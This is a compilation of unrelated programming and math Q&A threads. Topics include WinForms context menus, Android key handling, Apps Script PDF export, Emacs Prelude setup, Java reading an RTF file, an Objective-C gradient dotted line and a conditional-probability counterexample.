As you correctly pointed out, you also had some problems with your Scanner logic.  A safe pattern to use it to always read everything in a string line, and then parse/format the input as appropriate.  The input mismatch exception you were getting was probably due to incorrect use of the scanner.


text:
Q: How to get the item right clicked on from ContextMenuStrip? I have a PictureBox.
If I right click the PictureBox, my ContextMenuStrip (right click menu) appears.
In that ContextMenuStrip is a ToolStripMenuItem (one of the options in the right click menu).
There is an event on the ToolStripMenuItem that handles what happens if that option is clicked.

We're starting from ToolStripMenuItem's "Clicked" function. I need to somehow get back to the PictureBox programmatically. From there, I can modify the PictureBox.
ToolStripMenuItem -> ContextMenuStrip -> PictureBox
How would I go about this?

A: If the click event handler for your menu item is named OnToolStripMenuItemClick, the following might be an approach to your problem:
private void OnToolStripMenuItemClick(object sender, EventArgs e)
{
    var menuItem = sender as ToolStripMenuItem;
    var contextMenu = menuItem.Parent as ContextMenuStrip;
    var pictureBox = contextMenu.SourceControl;
}

Of course, don't forget to check for null when accessing properties after conversion with as.

A: I'm not sure that I really understood your problem, but I guess you want to let users can return to the picturebox when they want to cancel current operation by clicking the right button. In this case, you should not implement your work in click event, because right and left button both can trigger the click event, instead, you should process your work in the event "MouseUp", like this:
private void menuItemBack_MouseUp(object sender, MouseEventArgs e)
    {
        if (e.Button == System.Windows.Forms.MouseButtons.Left)
        {
            MessageBox.Show("back item is clicked");
        }
        else
        {
            MessageBox.Show("I will come back.");
            //do your return things here.
        }
    }

A: I've just come across this same problem in C#, and the path to the value seems to be something like:
sender.Owner.SourceControl;

However, since sender, Owner and so on are generic classes, I had to cast everything as follows:
PictureBox pb = (PictureBox) ((ContextMenuStrip)((ToolStripMenuItem)sender).Owner).SourceControl;

Ugly, but it works.


text:
Q: Locked out of windows for no specific reason. 2 hours
What's going on here? There's been no failed attempts, no other users, There's no other options, and the PC is only ever put to sleep.
I dual boot the system (Kali Linux & Windows 10) and I've been in Kali for a week and not mounted the windows drive at all.
This happened before and it worked after 2 hours, but I'm needing to switch to it now & know every time I reboot this will potentially happen.
I have another a laptop which is using the same microsoft account and similar dual boot setup without problems, so it's not account related. It's a local issue.
Is this bypassable using Kali at all? Could it be to do with the UEFI/secure boot or something in that area?
There's been no interaction with the windows portion and I cannot find any reason elsewhere for this behaviour.
Really at a loss for options
Thanks
EDIT:
I cannot even start in Safe mode due to the same login issue.
I need to uninstall an app called TinyWall because I think this is preventing me selecting the Forgot PIN option, complains of no internet.
Opted to try a windows reset with files kept, but I'd still like to know the fault for future.


text:
Q: Android - close Main Activity with back button ~ errors First, sorry for my low programming skills.
I'm trying to write my first Java application for Android (actually I never studied Java but I get along with that most of all).
Anyway, I'm trying to make this app closing on Back button press. This is the code, with errors [1][2][3].
    @Override
[1]    public boolean onKeyDown(int keyCode, KeyEvent event)
       {
[2]        if ((keyCode == KeyEvent.KEYCODE_BACK))
       {
[3]            finish();
       }
           return super.onKeyDown(keyCode, event);
       }

/**
     * [1]KeyEvent cannot be resolved to a type
     * [2]KeyEvent cannot be resolved to a variable
     * [3]Cannot make a static reference to the non-static method finish() from the type
          Activity
 */

Thank you all :)

A: You need to import KeyEvent package which is android.view.KeyEvent... import android.view.KeyEvent;
Everytime you use a class which comes from a different package of java (java.lang is the default) you should add import to say to the compiler where it should take the class. Eclipse/IntelliJ IDEA/Netbeans help you to import packages by using a simple key combination so use one of them if you can.
For error 3: Your return is out of the method body!
What is a package?
If you want to learn more about android dev, read this.

A: If you are using an activity, try overriding the method obBackPressed

public void onBackPressed ()
Added in API level 5 Called when the activity has detected the user's
  press of the back key. The default implementation simply finishes the
  current activity, but you can override this to do whatever you want.

@Override
public void onBackPressed(){
   // Do some stuff
   finish();
   super.onBackPressed();
}

That would save you some trouble.


text:
Q: wsdl2java - WARNING: Default key managers cannot be initialized While generating java WSDL client I am receiving these errors. Can you please help me to understand these?
C:\Users\Administrator\workspace\apache-cxf-3.0.2\bin> wsdl2java https://example.com/V1/HelpService?wsdl
*Nov 03, 2014 1:11:20 PM org.apache.cxf.configuration.jsse.SSLUtils getDefaultKeyStoreManagers
WARNING: Default key managers cannot be initialized: C:\Users\Administrator.keystore (The system cannot find the file specified)
Nov 03, 2014 1:11:20 PM org.apache.cxf.configuration.jsse.SSLUtils getDefaultKeyStoreManagers
WARNING: Default key managers cannot be initialized: C:\Users\Administrator.keystore (The system cannot find the file specified)
Nov 03, 2014 1:11:21 PM org.apache.cxf.configuration.jsse.SSLUtils getDefaultKeyStoreManagers
WARNING: Default key managers cannot be initialized: C:\Users\Administrator.keystore (The system cannot find the file specified)*
C:\Users\Administrator\workspace\apache-cxf-3.0.2\bin>

A: Your problem is that the property javax.net.ssl.keyStore is not specified and if it is not specified .keystore is used in your home directory. If .keystore does not exist you will get this error.
Snip from org.apache.cxf.configuration.jsse.SSLUtils.java :
public static String getKeystore(String keyStoreLocation, Logger log)

...//some other code
keyStoreLocation = SystemPropertyAction.getProperty("javax.net.ssl.keyStore");
if (keyStoreLocation != null) {
    logMsg = "KEY_STORE_SYSTEM_PROPERTY_SET";
} else {
keyStoreLocation =
    SystemPropertyAction.getProperty("user.home") + "/.keystore";
    logMsg = "KEY_STORE_NOT_SET";
}


text:
Q: OpenGL: how to set separate colour lighting for objects How do I set individual lighting for each object in my scene, so that each object has its own color? Right now, when i set the lighting it lights up every object the exact same colour, but I want to set it so that  each object gets its own colour. Right now my scene looks like this:
http://i.stack.imgur.com/B3lMz.jpg
but I want it to look like this:
http://i.imgur.com/4dUaC5O.png
How do I set it so that the cube and the wave have their own separate colours?


text:
Q: google doc to pdf convertion with GAS disregards text edits I'am creating a google app script that generates invoices based on data in a spreadsheet. For every invoice, the script should copy a template doc-file, add the relevant data and output a pdf.
When I try to export the modified doc-file to pdf, it creates a pdf based on the original template file. None of the edits have been taken into account.
Yet, in my convertToPDF function, the file ID is the right one and the doc it points to has been properly modified. I tried to call convertToPDF from outside GenInvoice but with little success.
My understanding of GAS is limited, I'm merely tinkering my way forward through trial and error. Here, I am clueless.
Here is a minimal example that reproduces my issue:
function GenInvoice(folder, month, restaurant, adresse, forfait, invoiceNr){

  // copy template
  var templateid = "1kDDBHiwUikKHRtywJ_Tfig4Nf_wNbdy814_5SvLerkw"
  var template = DriveApp.getFileById(templateid);
  var newfile  = template.makeCopy(template.getName() + "_edited" );

  // Open invoice in docs
  var docId  = newfile.getId()
  var doc = DocumentApp.openById(docId);
  var body = doc.getBody();

  // Remplacing place-holders
  body.replaceText("%TemplateText%", "%ModifiedText%");

  // Final print
  body.appendParagraph('Great work! Keep your flow!');

  // convert to PDF
  convertToPDF(docId)
}

function convertToPDF(theId){
  console.log(theId)
  var doc = DriveApp.getFileById(theId);

  /* Add the PDF extension */
  docblob = doc.getAs('application/pdf');
  docblob.setName("Modified_template.pdf"); // doc.getName() + ".pdf")

  var file = DriveApp.createFile(docblob);
}

A: Try adding "doc.saveAndClose();" before converting.
Like that:
// Final print
body.appendParagraph('Great work! Keep your flow!');

//Save and close doc
doc.saveAndClose();

// convert to PDF
convertToPDF(docId)


text:
Q: how to install Emacs Prelude system-wide on windows/MinGW? I am trying to install emacs prelude into emacs. The only thing I found after googling is this page, which tells me to clone prelude into
C:\Users\your_user_name\AppData\Roaming\.emacs.d

But I need to have prelude in the emacs system folder because I need to make my emacs folder a zip file and usable on other machines.
What I tried so far (unsuccessfully) are:
1. Download emacs 24.5.1 from gnu ftp site, and decompress to c:\emacs

2. git clone git://github.com/bbatsov/prelude.git

3. mv prelude/ /c/emacs/site-lisp

I thought step 3 should populate the emacs system-wide startup folder site-lisp, and allow prelude to load on emacs startup. But it didn't happen. I loaded a Haskell .hs file into emacs, and the Haskell mode isn't automatically activated as the prelude documentation suggests.
Can some one please explain how to correctly install prelude into emacs system-wide?
Thanks

A: You've "populated" the Emacs site-lisp folder in the sense that you've moved the prelude directory in full to site-lisp. While this would -- in conjunction with require-ing accordingly in your configurations -- be sufficient for "installing" Emacs packages, Prelude is not an Emacs "package" in the strictest sense of that word. Rather, Prelude can be thought of as a pre-defined set of configuration files, and this is why Prelude is generally cloned either directly into .emacs.d or symlinked to from there; it is not a package to require, and therefore does not belong in site-lisp.
The good news is that this makes your goal of making Emacs + Prelude usable on other machines relatively simple to solve with, say, a Bash script that:

*

*Installs emacs in the corresponding manner for the current OS/distro/etc.;

*git clone git://github.com/bbatsov/prelude.git path/to/local/repo

*ln -s path/to/local/repo ~/.emacs.d

*cd ~/.emacs.d
Note that the above is essentially the "manual" installation instructions provided at the Prelude website.
To make Emacs "portable" across different machines, the general consensus seems to be that it's a better idea to write your configurations in a way that allows them to be flexible and easily portable across machines, rather than bundle up a distribution of the Emacs executable itself.


text:
Q: Java scanner reading garbage I am reading a text file using java Scanner.
try {
            while(sc.hasNextLine()) {
                //Read input from file
                inputLine = sc.nextLine().toUpperCase();
                System.out.println(inputLine);
}

The above gives below output while my text file only includes "aabbcc".
How to avoid scanner from scanning the garbage?
Thanks.
{\RTF1\ANSI\ANSICPG1252\COCOARTF1265\COCOASUBRTF210
{\FONTTBL\F0\FSWISS\FCHARSET0 HELVETICA;}
{\COLORTBL;\RED255\GREEN255\BLUE255;}
\PAPERW11900\PAPERH16840\MARGL1440\MARGR1440\VIEWW10800\VIEWH8400\VIEWKIND0
\PARD\TX566\TX1133\TX1700\TX2267\TX2834\TX3401\TX3968\TX4535\TX5102\TX5669\TX6236\TX6803\PARDIRNATURAL

\F0\FS24 \CF0 AABBCC}

A: You are reading a RTF Document. If you want to read the text only you can try reading it into a byte array and parsing out the text using swings rtfeditorkit.
Path path = Paths.get("path/to/file");
byte[] data = Files.readAllBytes(path);

RTFEditorKit rtfParser = new RTFEditorKit();
Document document = rtfParser.createDefaultDocument();
rtfParser.read(new ByteArrayInputStream(data), document, 0);
String text = document.getText(0, document.getLength());

A: This was solved by setting TextEdit preferences, Format to "Plain text" and recreated the input file.
Managed to get the output without garbage.
Source: File input in Java for Mac

A: The problem isn't that the Scanner is reading in garbage. It is that your file isn't plain text. From the looks of it, your file is actually "rich text", and that garbage contains formatting info. I was able to produce similar output by saving a .rtf using MS WordPad.


text:
Q: Vertical Dotted Line in Objective-C . Add gradient color to it? I want to create a vertical dotted line using Objective-C. Genuine dotted line, not dashed line. And also want to add gradient color. How to proceed?
The Answer :
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view, typically from a nib.

//At first, draw a gradient line
CAGradientLayer *gLayer = [CAGradientLayer layer];
gLayer.frame = CGRectMake(50, 50, 10, 200);
gLayer.colors = @[(__bridge id)[UIColor redColor].CGColor,
                  (__bridge id)[UIColor greenColor].CGColor];
[self.view.layer addSublayer:gLayer];

//Then, create a path for dots
CGMutablePathRef dotPath = CGPathCreateMutable();
UIBezierPath *part1 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 0, 10, 10)];
UIBezierPath *part2 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 15, 10, 10)];
UIBezierPath *part3 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 30, 10, 10)];
UIBezierPath *part4 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 45, 10, 10)];
UIBezierPath *part5 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 60, 10, 10)];
UIBezierPath *part6 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 75, 10, 10)];
UIBezierPath *part7 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 90, 10, 10)];
UIBezierPath *part8 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 105, 10, 10)];
UIBezierPath *part9 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 120, 10, 10)];
UIBezierPath *part10 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 135, 10, 10)];
CGPathAddPath(dotPath, nil, part1.CGPath);
CGPathAddPath(dotPath, nil, part2.CGPath);
CGPathAddPath(dotPath, nil, part3.CGPath);
CGPathAddPath(dotPath, nil, part4.CGPath);
CGPathAddPath(dotPath, nil, part5.CGPath);
CGPathAddPath(dotPath, nil, part6.CGPath);
CGPathAddPath(dotPath, nil, part7.CGPath);
CGPathAddPath(dotPath, nil, part8.CGPath);
CGPathAddPath(dotPath, nil, part9.CGPath);
CGPathAddPath(dotPath, nil, part10.CGPath);

//Finally, set mask layer to the gradient line
CAShapeLayer *maskLayer = [CAShapeLayer layer];
maskLayer.path = dotPath;
[gLayer setMask:maskLayer];
}

A: I just write a sample according to you description, all the dots is created by UIBezierPath, you can just change anything you want, take a look:
- (void)viewDidLoad {
[super viewDidLoad];
// Do any additional setup after loading the view, typically from a nib.

//At first, draw a gradient line
CAGradientLayer *gLayer = [CAGradientLayer layer];
gLayer.frame = CGRectMake(50, 50, 10, 200);
gLayer.colors = @[(__bridge id)[UIColor redColor].CGColor,
                  (__bridge id)[UIColor greenColor].CGColor];
[self.view.layer addSublayer:gLayer];

//Then, create a path for dots
CGMutablePathRef dotPath = CGPathCreateMutable();
UIBezierPath *part1 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 0, 10, 10)];
UIBezierPath *part2 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 15, 10, 10)];
UIBezierPath *part3 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 30, 10, 10)];
UIBezierPath *part4 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 45, 10, 10)];
UIBezierPath *part5 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 60, 10, 10)];
UIBezierPath *part6 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 75, 10, 10)];
UIBezierPath *part7 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 90, 10, 10)];
UIBezierPath *part8 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 105, 10, 10)];
UIBezierPath *part9 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 120, 10, 10)];
UIBezierPath *part10 = [UIBezierPath bezierPathWithOvalInRect:CGRectMake(0, 135, 10, 10)];
CGPathAddPath(dotPath, nil, part1.CGPath);
CGPathAddPath(dotPath, nil, part2.CGPath);
CGPathAddPath(dotPath, nil, part3.CGPath);
CGPathAddPath(dotPath, nil, part4.CGPath);
CGPathAddPath(dotPath, nil, part5.CGPath);
CGPathAddPath(dotPath, nil, part6.CGPath);
CGPathAddPath(dotPath, nil, part7.CGPath);
CGPathAddPath(dotPath, nil, part8.CGPath);
CGPathAddPath(dotPath, nil, part9.CGPath);
CGPathAddPath(dotPath, nil, part10.CGPath);

//Finally, set mask layer to the gradient line
CAShapeLayer *maskLayer = [CAShapeLayer layer];
maskLayer.path = dotPath;
[gLayer setMask:maskLayer];
}

Hope it can help you.


text:
Q: Prove (if true): $P(A|C) = \sum_{i} P(A|B_i)P(B_i|C)$ I think the statement $P(A|C) = \sum_{i} P(A|B_i)P(B_i|C)$ is true (where the events $B_i$ form a partition of the whole space).  Is it, and why?
Thanks!

A: It's false as stated. Suppose that the space is the sample space for two tosses of a fair coin,

*

*$B_1$ is the event that the first toss is heads,

*$B_2$ is the event that the first toss is tails,

*$A$ is the event that both tosses are heads, and

*$C$ is the event that at least one toss is tails (i.e, the complementary event to $A$).

Clearly $\mathbb{P}(A|C)=0$, but $$\mathbb{P}(A|B_1)\mathbb{P}(B_1|C)+\mathbb{P}(A|B_2)\mathbb{P}(B_2|C)=\frac12\cdot\frac13+0\cdot\frac23=\frac16.$$
Added: It never hurts to check some simple cases of a conjecture, if there are any. Those that are somehow atypical (like making $A$ and $C$ complementary events) are often especially useful.